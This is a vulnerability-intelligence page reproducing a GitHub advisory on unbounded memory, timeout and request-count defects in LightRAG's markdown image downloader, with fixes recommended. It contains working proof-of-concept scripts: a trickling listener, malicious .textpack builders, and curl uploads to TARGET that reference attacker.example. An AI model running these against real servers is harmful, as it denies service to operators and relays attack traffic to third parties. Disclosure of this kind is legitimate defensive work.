llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · lightrag-hku

GHSA-25C3-J78V-83QX

Uncontrolled resource consumption in the native markdown image downloader: `NATIVE_MD_IMAGE_MAX_BYTES` bounds one image while nothing bounds the total bytes, the wall clock, or the request count

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -3 d de la divulgación
Exposición76 dDesde la divulgación, 4 sept 2026, 8:11 p. m.
Detección74 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 1.5.7
Monitoreo
Detectada +1
2 sept 26
5 sept 26
18 nov 26
20 nov 26
2 sept 26
21 sept 26
11 oct 26
31 oct 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 1.5.7 lightrag-hku · -3 d desde divulgación
Divulgación Publicada GHSA-25C3-J78V-83QX divulgada · CVSS 7.5 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The native markdown parser downloads every external image referenced by an uploaded document. `NATIVE_MD_IMAGE_MAX_BYTES` (default 25 MiB, `lightrag/parser/markdown/parser.py:661`) bounds a single image. Three other budgets that a fetch loop needs do not exist:

  1. No aggregate budget. Nothing bounds the sum of downloaded bytes or the number of images per document, and each resolved image's bytes are retained in `MarkdownExtraction.assets` (`lightrag/parser/markdown/extract.py:226-231`) until the entire `extract_markdown()` call returns. A 4,170-byte upload produced 800 outbound GETs and 800 MiB of image bytes held in memory, peak RSS 901 MiB, in 2.1 s. That is 201166x byte amplification and 196.5 outbound requests per KiB uploaded.
  1. The timeout is not a deadline. `parser.py:511` passes `timeout=self._timeout` to `opener.open`, which is a per-socket-operation deadline, not a wall-clock budget for the request, and `:514` then issues a single `resp.read(self._max_bytes + 1)`. A peer that emits one byte per interval keeps the call alive until the byte ceiling is reached, which at the 25 MiB / 30 s defaults is roughly 24 years. Measured: still blocked at t=45.0 s against a configured 5 s timeout, and an earlier run of the same probe was still blocked when killed at 300 s. The blocking call holds a thread of a bounded pool (default 5) that no cancellation path can reclaim.
  1. No request cap. The resolver memo (`parser.py:382-388`) dedups only identical `src` strings, so `?u=<i>` defeats it. One 232,778-byte document produced 5,000 outbound requests in 2.2 s, about 2,270 GET/s per parse thread. The requests carry `User-Agent: lightrag-native-md` (`parser.py:510`) and originate from the LightRAG host, so the attacker's address never appears at the destination.

These are three distinct root causes with three distinct fixes. They are filed as one report because they live in the same function family (`_MarkdownImageResolver._resolve_remote` and `_download`), because a maintainer fixing any one of them will be reading the other two, and because the corrective work overlaps almost entirely.

Preconditions: none beyond being able to POST a file, which is unauthenticated in the default configuration (no `LIGHTRAG_API_KEY`, no `AUTH_ACCOUNTS`). No non-default environment variable is needed. `NATIVE_MD_IMAGE_DOWNLOAD_ENABLED` defaults to `true` (`parser.py:658`) and `.textpack` routes to the native engine with no configuration and no filename hint (`lightrag/parser/routing.py:66`). The attacker needs one globally-routable host that serves HTTP, and no allowlist entry for it.

The framing point that matters most: `GHSA-vv3m-f8x4-7377` was a destination bypass in this same download path. Every defect reported here is fully exploitable with that guard working perfectly, because the proof of concept targets an address the guard explicitly permits. This is a volume and liveness contract, not a destination contract.

Severity / CVSS

Defects 1 and 2 (availability of the LightRAG host):

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Score: 7.5 (High). Metrics that are not self-evident: PR:N because the shipped default configuration has no authentication and `POST /documents/upload` is reachable anonymously; with authentication configured this becomes PR:L, any user permitted to upload a document. AC:L because the attack is a static file whose content is fully attacker-chosen, with no race, no timing window and no configuration prerequisite. S:U because the damage stays inside the LightRAG process and host. A:H because defect 1 drives the process into OOM and defect 2 permanently consumes every native parse worker with no recovery short of a process restart.

Defect 3 (network message volume, third-party victim):

`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L`

Score: 5.8 (Medium). S:C because the harm lands on a third party outside the vulnerable component's security authority: LightRAG is the request originator and the victim is whatever host the attacker names. A:L is deliberate and matches the honest note in the source findings: the fetches are sequential per document, so peak throughput (about 11,000 req/s at the default worker count) is modest for a volumetric denial of service. The real value to an attacker is attribution laundering plus the fact that the relay is free and unauthenticated, not raw bandwidth. That is why defect 3 is medium and not high.

CWEs: CWE-770 (Allocation of Resources Without Limits or Throttling) for defect 1, secondary CWE-400. CWE-400 (Uncontrolled Resource Consumption) for defect 2, secondary CWE-410 (Insufficient Resource Pool). CWE-406 (Insufficient Control of Network Message Volume) for defect 3, secondary CWE-918 for the origin-hiding property only, not for destination control, which is already covered by `GHSA-vv3m-f8x4-7377`.

Affected component

  • `lightrag/parser/markdown/parser.py:503-531` `_MarkdownImageResolver._download`, the whole fetch, where all three bounds are missing
  • `lightrag/parser/markdown/parser.py:511` `with opener.open(req, timeout=self._timeout) as resp:`, a per-socket-operation timeout used as if it were a request budget
  • `lightrag/parser/markdown/parser.py:514-516` a single `resp.read(self._max_bytes + 1)` followed by the over-limit check, so the ceiling is enforced only after the read completes
  • `lightrag/parser/markdown/parser.py:510` the outbound `User-Agent: lightrag-native-md` header
  • `lightrag/parser/markdown/parser.py:468-501` `_resolve_remote`, which calls `_download` once per distinct `src` with no per-document accounting
  • `lightrag/parser/markdown/parser.py:382-388` `resolve`, the memo keyed on the exact `src` string, defeated by a query parameter
  • `lightrag/parser/markdown/parser.py:655-665` resolver construction: `download_enabled` default `True` at `:658`, `timeout` default 30 at `:660`, `max_bytes` default 25 MiB at `:661`
  • `lightrag/parser/markdown/extract.py:226-231` the sink, `out.assets[asset_ref]["data"] = resolved.data`, resident until `extract_markdown()` returns
  • `lightrag/parser/markdown/extract.py:215,250` `_IMAGE_RE.sub(_resolve_image, line)` calling `image_resolver.resolve(src)` once per image occurrence
  • `lightrag/parser/markdown/parser.py:548-556` `NativeMarkdownParser.extract` accepts `asset_dir` and never uses it, which is why the bytes stay in memory
  • `lightrag/parser/native_base.py:299-310` dispatch of the synchronous extract onto the rag-owned executor
  • `lightrag/lightrag.py:1321-1336` `_get_parse_native_executor`, `ThreadPoolExecutor(max_workers=max(1, int(self.max_parallel_parse_native)))`
  • `lightrag/constants.py:345` `DEFAULT_MAX_PARALLEL_PARSE_NATIVE = 5`
  • `lightrag/parser/native_base.py:250-266` the only place `cancel_event` and `ctx.pipeline_cancel_event` are consumed, the docx smart-heading `SyncLLMBridge`
  • `lightrag/parser/routing.py:66` `_DEFAULT_ENGINE_BY_SUFFIX = {"textpack": PARSER_ENGINE_NATIVE}`
  • `lightrag/api/routers/document_routes.py:2585-2590` `POST /documents/upload`
  • `lightrag/api/config.py:713-714` `MAX_UPLOAD_SIZE` default 104857600

Version tested: 1.5.5, api version 0316, commit `79b54271`.

Root cause

These are three independent defects, not three views of one. They share one enabling fact and then diverge.

The shared fact: `_MarkdownImageResolver` accounts for each image in isolation. It carries per-image state (`self._max_bytes`, `self._timeout`) and a memo, and it carries no per-document state at all. There is no running byte counter, no image counter, and no document-level deadline anywhere in the class, so no bound can express "this document has had enough".

Defect 1: the only byte ceiling is per image, and the bytes accumulate. `:515-516` rejects an image over `max_bytes`, which correctly bounds one download. `extract.py:226-231` then appends the accepted bytes to `out.assets`, keyed by content sha256, and they stay there until the whole extraction returns. Peak residency is therefore (number of distinct images) x (bytes per image), with the second factor bounded at 25 MiB and the first factor bounded by nothing. Content-hash keying is not a defence: the attacker serves a distinct body per URL, so no two entries collide.

This is a bound that the sibling engine does not need because it does not make the same choice. `NativeMarkdownParser.extract` receives `asset_dir` (`markdown/parser.py:553`), a directory the template pre-creates precisely so an extractor can write image bytes to disk before `write_sidecar` runs (`native_base.py:277-292`, docstring at `:82-84`), and never passes it to `_extract_text` (`:581-583`, `:588`). The docx engine does use it: `docx/parser.py:69-70` sets `export_dir_path=asset_dir`, and `docx/drawing_image_extractor.py:101-102` writes each blob straight out with `output_file.write_bytes(blob)`. Two native engines, one shared contract, one of them holding every asset in the heap.

Defect 2: `timeout=` on `opener.open` is a per-operation deadline, not a request budget. `urllib` propagates the value to the socket, so it bounds the gap between successive reads, not the total time in `_download`. The read at `:514` asks for `max_bytes + 1` bytes in one call and returns only when that many bytes have arrived or the peer closes. A peer that writes one byte every `timeout - e` seconds resets the clock forever. At the defaults, 25 MiB at one byte per 30 s is roughly 24 years for one image.

The consequence is not a slow parse, it is a permanently lost worker. The call executes on a thread of the pool built at `lightrag.py:1321-1336`, sized to `max_parallel_parse_native` (default 5, `constants.py:345`), dispatched at `native_base.py:299-310`. That pool has no cancellation path into `_download`:

  • `NativeExtractRuntime.cancel_event` and `ctx.pipeline_cancel_event` are constructed and threaded through, but their only consumer is the `SyncLLMBridge` for docx smart headings (`native_base.py:250-266`). A search for `cancel` across `lightrag/parser/markdown/` returns nothing.
  • `POST /documents/cancel_pipeline` (`document_routes.py:3952-4013`) sets `pipeline_status["cancellation_requested"]`, which the watcher at `pipeline.py:1200-1215` translates into `ctx.pipeline_cancel_event.set()`. Nothing in the markdown download path polls that event.
  • `ThreadPoolExecutor` threads cannot be interrupted, so the future's cancellation is irrelevant once the work item has started.

The result is that the documented operator recovery action does not recover anything. Only a process restart does.

Defect 3: nothing counts requests. `resolve` memoizes on the literal `src` string (`:382-388`), which is the correct cache key and a poor rate limit. `?u=0`, `?u=1` and so on are distinct strings, so a document of N image references produces N fetches. There is no per-document count ceiling, no per-document time budget, and no rate limiting on `POST /documents/upload`.

Impact

  • A 4 KB upload pins 800 MiB of server memory. Measured end to end on a real `.textpack`: on-the-wire artifact 4,170 bytes, 800 outbound HTTP GETs, 800 MiB of image bytes held in memory, peak RSS 901 MiB, in 2.1 s, with an empty warnings dict. Amplification 201166x by bytes, 196.5 requests per KiB uploaded.
  • Residency is linear in image count with no ceiling. 400 images took RSS from 96 MiB to 501 MiB in 0.8 s; 2,000 images took RSS from 95 MiB to 2122 MiB in 4.0 s. Both runs used 1 MiB responses, chosen only to keep the test host alive. The shipped `NATIVE_MD_IMAGE_MAX_BYTES` default is 25 MiB, which is 25x worse per reference than what was measured.
  • The upload size limit does not bound this. `MAX_UPLOAD_SIZE` defaults to 104857600 bytes (`config.py:713-714`). At the measured 196.5 requests per KiB (zip compression of the repeated URL prefix is what makes the ratio this good), a single maximum-size upload is on the order of 20 million image references. The process reaches OOM long before the parse finishes.
  • One slow peer holds a parse worker for at least 300 s, and in principle forever. With `NATIVE_MD_IMAGE_DOWNLOAD_TIMEOUT=5` and a listener writing one byte every 2 s, the parse thread was still blocked in the urllib read at t=45.0 s, 9x over the configured budget and still running. An earlier run of the same probe was still blocked when the harness killed it at 300 s; the listener log showed it had trickled 60 bytes at 5 s intervals before the client died (`[server] slow client gone: BrokenPipeError(32, 'Broken pipe')`), that is 60x the configured 5 s timeout inside one fetch.
  • Five such documents deny the entire parse subsystem. Against a pool mirroring `_get_parse_native_executor` exactly, all 5 workers were consumed and a sixth, entirely benign document never began parsing, at t~5 s, t~15 s and t~30 s alike: `started=[0, 1, 2, 3, 4] finished=[] benign_doc_99_started=False`.
  • The loss is not recoverable through the API. `POST /documents/cancel_pipeline` sets the flag, the watcher sets `pipeline_cancel_event`, and `_download` never reads it. `ThreadPoolExecutor` cannot interrupt a running thread. A process restart is the only recovery.
  • [INFERENCE] The pipeline most likely never reports itself idle again. The awaited `run_in_executor` never completes, so `pipeline_status["busy"]` should never clear, and `/documents/scan` should keep returning `scanning_skipped_pipeline_busy` (`document_routes.py:2527-2539`). This knock-on was not observed against a live server and is reported as inferred, exactly as the source findings marked it.
  • The server becomes an unauthenticated request relay. 5,000 outbound GETs from one 232,778-byte document in 2.2 s, about 2,270 requests per second from a single parse thread, roughly 11,000 req/s across the 5 default workers. Every request leaves the LightRAG host carrying `User-Agent: lightrag-native-md`; the attacker's address appears nowhere at the destination. Stated plainly, and this is why defect 3 is scored medium: sequential per-document fetching makes this a poor volumetric weapon. Its value is attribution laundering, and that it costs the attacker one anonymous file upload.

Proof of Concept

All probes run against a throwaway listener on 127.0.0.1 (`server.py`, reproduced below in the parts that matter). Every probe sets `NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS=127.0.0.0/8` solely so the traffic can be observed locally. A real attack needs no such setting: the attacker points the image URLs at a globally-routable host, which `_host_is_public` permits by design, and the destination guard from `GHSA-vv3m-f8x4-7377` is satisfied throughout.

The probes drive `NativeMarkdownParser` directly, which is the exact call `native_base.py:286-292` makes inside `_extract_sync` on the pool thread. The end-to-end probe additionally confirms the routing leg programmatically rather than over HTTP: `resolve_file_parser_engine('evil.textpack')` returns `'native'` with no configuration. [INFERENCE] The HTTP leg from `POST /documents/upload` to that parser call was not driven against a live uvicorn server in these runs; it follows from `document_routes.py:2585-2590` feeding the standard parse pipeline, but it is marked as inferred rather than observed.

Listener, the two routes used below (full file also serves `/count`, `/redirect` and `/redirect-meta`):

if path.startswith("/big/"):
    # PNG magic + unique filler -> passes _image_ext_from_magic() and
    # every response has a distinct sha256 (defeats asset dedup).
    self._hit("/big")
    idx = path.split("/")[-1].split(".")[0].encode()
    size = 1024 * 1024
    body = PNG[:8] + idx.rjust(64, b"0") + b"\x00" * (size - 72)
    self.send_response(200)
    self.send_header("Content-Type", "image/png")
    self.send_header("Content-Length", str(len(body)))
    self.end_headers()
    self.wfile.write(body)
    return
...
if path.startswith("/slow.png"):
    self._hit("/slow.png")
    self.send_response(200)
    self.send_header("Content-Type", "image/png")
    # No Content-Length -> connection-close-delimited body.
    self.end_headers()
    try:
        self.wfile.write(PNG[:8])
        self.wfile.flush()
        n = 0
        while True:
            time.sleep(TRICKLE)
            self.wfile.write(b"\x00")
            self.wfile.flush()
            n += 1
            print(f"[server] trickled byte {n}", flush=True)
    except Exception as e:
        print(f"[server] slow client gone: {e!r}", flush=True)
    return
Defect 1: no aggregate byte or count budget

The attacker's artifact is a zip containing one `text.markdown`, which is all a `.textpack` is:

md = "\n\n".join(f"![i{i}](http://127.0.0.1:{PORT}/big/{i}.png)" for i in range(N))
tp = work / "evil.textpack"
with zipfile.ZipFile(tp, "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("text.markdown", md)

print(f"uploaded artifact: {tp.name}  on-the-wire size = {tp.stat().st_size} bytes")
print(f"routed engine for 'evil.textpack' = "
      f"{resolve_file_parser_engine('evil.textpack')!r} (no config needed)")

blocks, warnings, meta = NativeMarkdownParser().extract(
    tp, parsed_dir=parsed, asset_dir=assets, base_name="evil"
)
total = sum(len(a["data"]) for a in meta["md_assets"].values())
rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss / 1024

Against a real server the same artifact is one anonymous request:

curl -F 'file=@evil.textpack' http://TARGET:9621/documents/upload

Observed:

$ uv run python poc_textpack.py 18732 800
uploaded artifact: evil.textpack  on-the-wire size = 4170 bytes
routed engine for 'evil.textpack' = 'native' (no config needed)
RESULT: 4170-byte upload -> 800 outbound HTTP GETs, 800 MiB of image bytes held in memory,
        peak RSS 901 MiB, in 2.1s (warnings={})
amplification: 201166x bytes, 196.5 requests per KiB uploaded

Linearity, same construction without the textpack wrapper (output trimmed to the lines that matter):

$ uv run python poc_mem.py 18732 400
document = 17778 bytes, 400 distinct 1 MiB images
RSS before extract: 96 MiB
RSS after  extract: 501 MiB
assets held in memory: 400 = 400 MiB, in 0.8s

$ uv run python poc_mem.py 18732 2000
document = 91778 bytes, 2000 distinct 1 MiB images
RSS before extract: 95 MiB
RSS after  extract: 2122 MiB
assets held in memory: 2000 = 2000 MiB, in 4.0s

Note the response size: each image was 1 MiB, not the 25 MiB default ceiling, purely to keep the test host alive. The shipped default is 25x larger per reference.

Defect 2: the timeout is not a deadline, and the worker cannot be reclaimed

The probe runs the real parser in a thread and samples whether it is still blocked:

TIMEOUT = os.environ.setdefault("NATIVE_MD_IMAGE_DOWNLOAD_TIMEOUT", "5")
os.environ["NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS"] = "127.0.0.0/8"

MD = f"![slow](http://127.0.0.1:{PORT}/slow.png)\n"

def work():
    try:
        NativeMarkdownParser()._extract_text(MD, bundle_root=None, raw_cache=None)
    finally:
        done.set()

th = threading.Thread(target=work, daemon=True, name="parse-native-0")
th.start()
while time.monotonic() - t0 < WATCH:
    if done.wait(5):
        break
    print(f"  t={time.monotonic()-t0:5.1f}s  parse thread STILL BLOCKED "
          f"in urllib read (alive={th.is_alive()})")

Observed, listener trickling 1 byte every 2 s:

$ uv run python poc_slow.py 18731 45
NATIVE_MD_IMAGE_DOWNLOAD_TIMEOUT=5s ; watching for 45.0s
  t=  5.0s  parse thread STILL BLOCKED in urllib read (alive=True)
  t= 10.0s  parse thread STILL BLOCKED in urllib read (alive=True)
  ...
  t= 45.0s  parse thread STILL BLOCKED in urllib read (alive=True)
RESULT: finished=False after 45.0s with a 5s configured timeout (9x over budget, and still running)

An earlier run of the same probe was still blocked when the harness killed it at 300 s. The listener log showed it had trickled 60 bytes at 5 s intervals before the client died:

[server] slow client gone: BrokenPipeError(32, 'Broken pipe')

Worker-pool exhaustion, mirroring `_get_parse_native_executor` (`lightrag.py:1321-1336`) and the dispatch at `native_base.py:299-310`:

WORKERS = DEFAULT_MAX_PARALLEL_PARSE_NATIVE
pool = ThreadPoolExecutor(max_workers=WORKERS, thread_name_prefix="parse-native")
# 5 malicious .textpack/.md uploads, each one image referencing a trickling host
for i in range(WORKERS):
    pool.submit(parse_doc, i, True)
time.sleep(3)
# a 6th, entirely benign document queued behind them
pool.submit(parse_doc, 99, False)

Observed:

$ uv run python poc_pool.py 18732
DEFAULT_MAX_PARALLEL_PARSE_NATIVE = 5
  t~  5s started=[0, 1, 2, 3, 4] finished=[] benign_doc_99_started=False
  t~ 15s started=[0, 1, 2, 3, 4] finished=[] benign_doc_99_started=False
  t~ 30s started=[0, 1, 2, 3, 4] finished=[] benign_doc_99_started=False
RESULT: benign document never started = True; all 5 native parse workers are held by hung image downloads

The attacker-side form is five tiny uploads, each with a distinct query string so the resolver memo does not collapse them:

for i in 1 2 3 4 5; do
  python -c "
import zipfile,sys
i=sys.argv[1]
z=zipfile.ZipFile(f'slow{i}.textpack','w')
z.writestr('text.markdown', f'![a](https://attacker.example/slow.png?u={i})')
z.close()" $i
  curl -F "file=@slow$i.textpack" http://TARGET:9621/documents/upload
done
Defect 3: no request cap
os.environ["NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS"] = "127.0.0.0/8"
n = int(os.environ.get("N", "300"))
md = "\n\n".join(f"![i{i}]({BASE}/img/{i}.png)" for i in range(n))
print(f"markdown source size = {len(md)} bytes, {n} distinct image URLs")
print("before:", counts())
el = run_parser(md, "count")
c = counts()
print("after :", c)

Observed:

$ N=5000 uv run python poc.py count 18732
markdown source size = 232778 bytes, 5000 distinct image URLs
before: {}
[count] elapsed=2.2s ...
after : {'/img': 5000}
RESULT: 5000 outbound requests from one 232778-byte document in 2.2s

Substituting `https://victim.example/expensive-endpoint?u=<i>` for the image URL turns the same upload into a relay. The requests carry `User-Agent: lightrag-native-md` (`parser.py:510`) and the source address of the LightRAG host.

Recommended fix

  1. Give `_MarkdownImageResolver` per-document budgets. Add a running byte counter and an image counter to the instance (it is already constructed once per document at `parser.py:655-664`), backed by `NATIVE_MD_IMAGE_MAX_TOTAL_BYTES` and `NATIVE_MD_IMAGE_MAX_COUNT` read through the existing `_env_int` helper alongside the other five image settings. Check both in `_resolve_remote` before `_download` and update them after. Over-budget images should degrade to the existing `ResolvedImage(kind="external", url=src, fmt=ext_hint)` link fallback, which is exactly what `:497` already returns when a download fails, rather than failing the document. This fixes defect 1 and, through the count ceiling, also defect 3.
  1. Stop accumulating asset bytes in the heap. `NativeMarkdownParser.extract` already receives `asset_dir` (`:553`) and discards it. Thread it into `_extract_text` and the resolver, write each resolved image to `asset_dir` as it lands, and keep only the path plus sha256 in `MarkdownExtraction.assets`. The in-codebase precedent is the sibling native engine: `docx/parser.py:69-70` passes `export_dir_path=asset_dir` and `docx/drawing_image_extractor.py:101-102` writes each blob with `output_file.write_bytes(blob)`. The template already pre-creates the directory for this purpose and documents it as such (`native_base.py:82-84`, `:277-292`). This makes the resident set O(1) in image count rather than O(total image bytes), and it is the change that removes the OOM rather than merely capping it.
  1. Replace the single read with a wall-clock deadline loop. Record `t0 = monotonic()` before `opener.open`, then read in bounded chunks (`resp.read(64 * 1024)`) and abort when `monotonic() - t0` exceeds `NATIVE_MD_IMAGE_DOWNLOAD_TIMEOUT` or when the accumulated size exceeds `max_bytes`. Keep the socket timeout as well: it is the right control for a dead peer, it is simply not a budget. Add a per-document download deadline in the same accounting introduced by fix 1.
  1. Poll the cancellation events inside that loop. The events already exist and already reach the parser: `NativeExtractRuntime.cancel_event` and `ctx.pipeline_cancel_event`, set by the watcher at `pipeline.py:1200-1215` when `POST /documents/cancel_pipeline` fires. The in-codebase precedent for polling them from a blocking synchronous path is `SyncLLMBridge`, wired with exactly these events at `native_base.py:250-261`. The markdown engine currently receives `runtime` and never consults it. One `if cancel_event.is_set(): raise` per chunk makes the documented operator recovery actually work.
  1. Add a minimum-throughput floor. Abort a fetch that delivers fewer than N bytes per second averaged over a window. This is the standard defence against a slow-trickle peer and it closes the gap that remains if an operator raises the per-request deadline for legitimately large images.
  1. Consider an operator host allowlist for image fetches (`NATIVE_MD_IMAGE_ALLOWED_HOSTS`). Fetching arbitrary internet hosts on behalf of an anonymous uploader is rarely the intent, and an empty-by-default allowlist would be a breaking change, so this is offered as hardening rather than as the fix.

Fixes 1 through 4 are the three defects. Fixes 5 and 6 remove the standing footgun.

References

  • Version tested: 1.5.5, api version 0316, commit `79b54271`. Every line reference below was re-checked against that commit.
  • `lightrag/parser/markdown/parser.py:382-388` (memo), `:468-501` (`_resolve_remote`), `:503-531` (`_download`), `:510` (User-Agent), `:511` (socket timeout), `:514-516` (single read, then the ceiling check), `:548-556` (`extract`, receives `asset_dir`), `:655-665` (defaults)
  • `lightrag/parser/markdown/extract.py:215`, `:226-231`, `:250` (the sink and its caller)
  • `lightrag/parser/native_base.py:82-84`, `:250-266`, `:277-292`, `:299-310`
  • `lightrag/lightrag.py:1321-1336`, `lightrag/constants.py:345` (the bounded pool and its size)
  • `lightrag/pipeline.py:1200-1215`, `lightrag/api/routers/document_routes.py:3952-4013` (the cancellation path that does not reach `_download`)
  • `lightrag/parser/routing.py:66`, `lightrag/api/routers/document_routes.py:2585-2590`, `lightrag/api/config.py:713-714` (reachability and upload limit)
  • `lightrag/parser/docx/parser.py:69-70`, `lightrag/parser/docx/drawing_image_extractor.py:101-102` (the sibling engine that streams assets to disk, cited as precedent for fix 2)
  • Relationship to `GHSA-vv3m-f8x4-7377`. That advisory reports an IPv6-transition destination bypass in this same download path: it is about *where* a single request may go. It says nothing about size caps, timeouts, or request volume. This report is about *how much*, *how long*, and *how many*, and it is fully exploitable with that destination guard working perfectly. Every measurement above was taken against a destination the guard explicitly permits, with no redirect and no bypass of any kind.
  • Relationship to `GHSA-32jh-39m7-8x84`. That advisory is ReDoS on `sentence_split_regex` in the semantic chunker: CPU-bound, a different route (`/documents/text(s)`), a different sink, and it establishes that the semantic chunking path is offloaded off the event loop with `asyncio.to_thread`. No claim is made here about blocking the event loop. The claim here is that the bounded five-thread native parse pool is held indefinitely and non-cancellably, which is a distinct resource and a distinct failure mode.
  • Not related to `GHSA-mmg5-8x8q-v934` (the `/api/*` whitelist exemption), `GHSA-xpjq-3w4w-w5wr` (WebUI mermaid sink), or the `_token_renewal_cache` growth advisory. The precondition here is only the ability to POST a file, which the default configuration grants anonymously; no authentication weakness is relied on.
  • No existing advisory in this repository concerns resource budgets in a parser.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
lightrag-hku≤ 1.5.6
1.5.6
1.5.7
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypilightrag-hku
Corregida 1.5.7 -3 d 1.5.7 no afectada
Versiones corregidas1.5.7
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/HKUDS/LightRAG/security/advisories/GHSA-25c3-j78v-83qx

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.